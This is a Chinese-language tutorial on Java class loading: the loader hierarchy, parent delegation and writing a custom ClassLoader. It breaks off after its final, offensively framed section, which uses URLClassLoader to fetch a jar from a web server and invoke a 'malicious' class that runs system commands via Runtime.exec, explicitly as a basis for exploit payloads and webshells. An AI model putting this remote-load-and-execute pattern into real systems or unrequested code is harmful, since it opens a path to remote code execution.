类加载机制流程
Java 是⼀个依赖于 JVM(Java虚拟机)实现的跨平台的开发语⾔。Java 程序在运⾏前需要先编译成 class ⽂件 ,Java 类初始化的时候会调⽤java.lang.ClassLoader
加载类字节码,ClassLoader 会调⽤ JVM 的 native ⽅法( defineClass0/1/2
)来定义⼀个java.lang.Class
实例。
JVM 将类加载过程分为三个步骤:装载(Load),链接(Link)和初始化(Initialize),链接又分为三个步骤,如图所示。
-
装载:查找并加载类的二进制数据
-
链接:
- 验证:确保被加载类的正确性
- 准备:为类的静态变量分配内存,并将其初始化为默认值
- 解析:把类中的符号引用转换为直接引用
-
初始化:为类的静态变量赋予正确的初始值
java 编译器将.java
文件编译成扩展名为.class
的文件,.class
文件中保存着 java 转换后,虚拟机将要执行的指令。当需要某个类的时候,java 虚拟机会加载.class
文件,并创建对应的 class 对象,将 class 文件加载到虚拟机的内存,这个过程被称为类的加载。
类初始化时机
-
隐式加载:new 创建类的实例
-
显式加载:loaderClass、forName等
-
访问某个类或接口的静态变量,或者对该静态变量赋值
-
调用类的静态方法
-
使用反射方式创建某个类或者接口对象的Class对象
-
初始化一个类的子类(会首先初始化子类的父类)
-
JVM启动时标明的启动类,即文件名和类名相同的那个类
类加载器
JVM 的类加载是通过 ClassLoader 及其子类来完成的,类的层次关系和加载顺序可以由下图来描述:
-
引导类加载器(Bootstrap ClassLoader)
这个类加载器负责将
\lib
⽬录下的类库加载到虚拟机内存中,⽤来加载 java 的核⼼库,此类加载器并不继承于java.lang.ClassLoader
,不能被java程序直接调⽤,代码是使⽤C++编写的, 是虚拟机⾃⾝的⼀部分 -
扩展类加载器(Extendsion ClassLoader)
这个类加载器负责加载
\lib\ext
⽬录下的类库,⽤来加载 java 的扩展库,开发者可以直接使⽤这个类加载器 -
应⽤程序类加载器(Application ClassLoader)
这个类加载器负责加载⽤⼾类路径(CLASSPATH)下的类库,⼀般我们编写的java类都是由这个类加载器加载,这个类加载器是 CLassLoader 中的
getSystemClassLoader()
⽅法的返回值,所以也称为系统类加载器,⼀般情况下这就是系统默认的类加载器 -
自定义类加载器(Custom ClassLoader)
属于应用程序根据自身需要自定义的 ClassLoader,如 tomcat、jboss 都会根据 j2ee 规范自行实现ClassLoader,加载过程中会先检查类是否被已加载,检查顺序是自底向上,从 Custom ClassLoader 到 BootStrap ClassLoader 逐层检查,只要某个 classloader 已加载就视为已加载此类,保证此类在所有 ClassLoader 只加载一次。而加载的顺序是自顶向下,也就是由上层来逐层尝试加载此类。
ClassLoader 类有如下核心方法:
loadClass
(加载指定的Java类)findClass
(查找指定的Java类)findLoadedClass
(查找JVM已经加载过的类)defineClass
(定义一个Java类)resolveClass
(链接指定的Java类)
类加载器使用顺序
在 JVM 虚拟机中,如果一个类加载器收到类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器完成。每个类加载器都是如此,只有当父加载器在自己的搜索范围内找不到指定的类时(即ClassNotFoundException),子加载器才会尝试自己去加载。
也就是说,对于每个类加载器,只有父类(依次递归)找不到时,才自己加载 。这就是双亲委派模型。
为什么需要双亲委派模型呢?这可以提高Java的安全性,以及防止程序混乱。
-
提高安全性
假设我们使用一个第三方 Jar 包,该 Jar 包中自定义了一个 String 类,它的功能和系统 String 类的功能相同,但是加入了恶意代码。那么,JVM 会加载这个自定义的 String 类,从而在我们所有用到 String 类的地方都会执行该恶意代码。
如果有双亲委派模型,自定义的 String 类是不会被加载的,因为最顶层的类加载器会首先加载系统的 java.lang.String 类,而不会加载自定义的 String 类,防止了恶意代码的注入。 -
防止程序混乱
假设用户编写了一个 java.lang.String 的同名类,如果每个类加载器都自己加载的话,那么会出现多个 String 类,导致混乱。如果本加载器加载了,父加载器则不加载,那么以哪个加载的为准又不能确定了,也增加了复杂度。
类加载方式
Java 类加载方式分为显式
和隐式
,显式
即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式
指的是类名.方法名()
或new
类实例。显式
类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
// 反射加载HelloWorld示例
Class.forName("com.h4ckfun.HelloWorld");
// ClassLoader加载HelloWorld示例
this.getClass().getClassLoader().loadClass("com.h4ckfun.HelloWorld");
复制代码
Class.forName()
是⼀个静态⽅法,最常⽤的是Class.forname(String className);
根据传⼊的类的全限定名返回⼀个 Class 对象。该⽅法在将 Class ⽂件加载到内存的同时,会执⾏类的初始化。
注: A a = (A)Class.forName("package.A").newInstance();
和 A a = new A();
是⼀样的效果,它们的区别在于创建对象的⽅式不⼀样,前者是使⽤类加载机制,后者是创建⼀个新类。
而ClassLoader.loadClass
默认不会初始化类方法。
自定义类加载器
我们先自己编写一个需要被加载的类:
Test.java
package com.h4ckfun;
public class Test {
public Test() {
System.out.println("Test: " + getClass().getClassLoader());
System.out.println("Test Parent: " + getClass().getClassLoader().getParent());
}
public String hello() {
return "Hello World!";
}
}
复制代码
使用javac
编译为 class 文件:
javac Test.java
复制代码
使用javap
查看反汇编:
javap -c -p -l Test.class
复制代码
我们可以自定义类加载器,只需继承 ClassLoader 抽象类,并重写 findClass 方法(如果要打破双亲委派模型,需要重写 loadClass 方法)。
**注意:**一般尽量不要覆写已有的 loadClass 方法中的委派逻辑,一般在 JDK1.2 之前的版本才这样做,而且事实证明,这样做极有可能引起系统默认的类加载器不能正常工作。在 JVM 规范和 JDK 文档中(1.2 或者以后版本中),都没有建议用户覆写 loadClass 方法,相反,明确提示开发者在开发自定义的类加载器时覆写 findClass 逻辑。
具体原因可以看 loadClass 的源码:
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
复制代码
这个是 ClassLoader 中的 loadClass 方法,大致流程如下:
- 检查类是否已加载,如果是则不用再重新加载了
- 如果未加载,则通过父类加载(依次递归)或者启动类加载器(bootstrap)加载
- 如果还未找到,则调用本加载器的findClass方法
而 ClassLoader 中 findClass 方法源码如下:
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
复制代码
直接返回 ClassNotFoundException,并且注释中明确说明自定义类加载器时需要覆写该方法。
我们自己写一个自定义加载器:
package com.h4ckfun;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
class HelloWorldClassLoader extends ClassLoader {
// Test类名
private String testClassName;
// Test类字节码
private byte[] testClassBytes;
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
return defineClass(name, testClassBytes, 0, testClassBytes.length);
} catch (Exception e) {
e.printStackTrace();
throw new ClassNotFoundException();
}
}
private byte[] readByte(String classPath) throws Exception {
FileInputStream fis = new FileInputStream(classPath);
int len = fis.available();
byte[] data = new byte[len];
fis.read(data);
fis.close();
return data;
}
public static void main(String[] args) {
// 创建自定义的类加载器
HelloWorldClassLoader loader = new HelloWorldClassLoader();
try {
loader.testClassName = "com.h4ckfun.Test";
loader.testClassBytes = loader.readByte("/tmp/Test.class");
System.out.println("class byte: " + Arrays.toString(loader.testClassBytes));
// 使用自定义的类加载器加载Test类
Class testClass = loader.loadClass(loader.testClassName);
// 反射创建Test类,等价于 Test t = new Test();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
复制代码
代码中注意重写 findClass 方法,然后进行自定义加载前注意要把之前生成的Test.class
移动到 CLASSPATH 之外的目录,这里我移动到了/tmp/Test.class
,还有Test.java
如果和加载器是同一项目下,记得删除或者重命名为其他文件,比如Test.java.bak
,否则 Test 类会被 AppClassLoader 加载(自定义类加载器的 parent 是 AppClassLoader)。
加载结果:
远程类加载
URLClassLoader
继承了ClassLoader
,URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
我们先写一个被远程执行的恶意类:
import java.io.IOException;
public class Cmd {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
复制代码
然后使用javac
编译为 class 文件,单独打包为 jar 包:
jar cvf Cmd.jar Cmd.class
复制代码
将Cmd.java
重命名为非java文件后,简单使用 python 启动 web 服务:
python3 -m http.server 9000
复制代码
编写URLClassLoader
的代码:
package com.h4ckfun;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URLClassLoader;
import java.net.URL;
public class RemoteURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://127.0.0.1:9000/Cmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "whoami";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("Cmd");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
复制代码
然后执行远程类加载: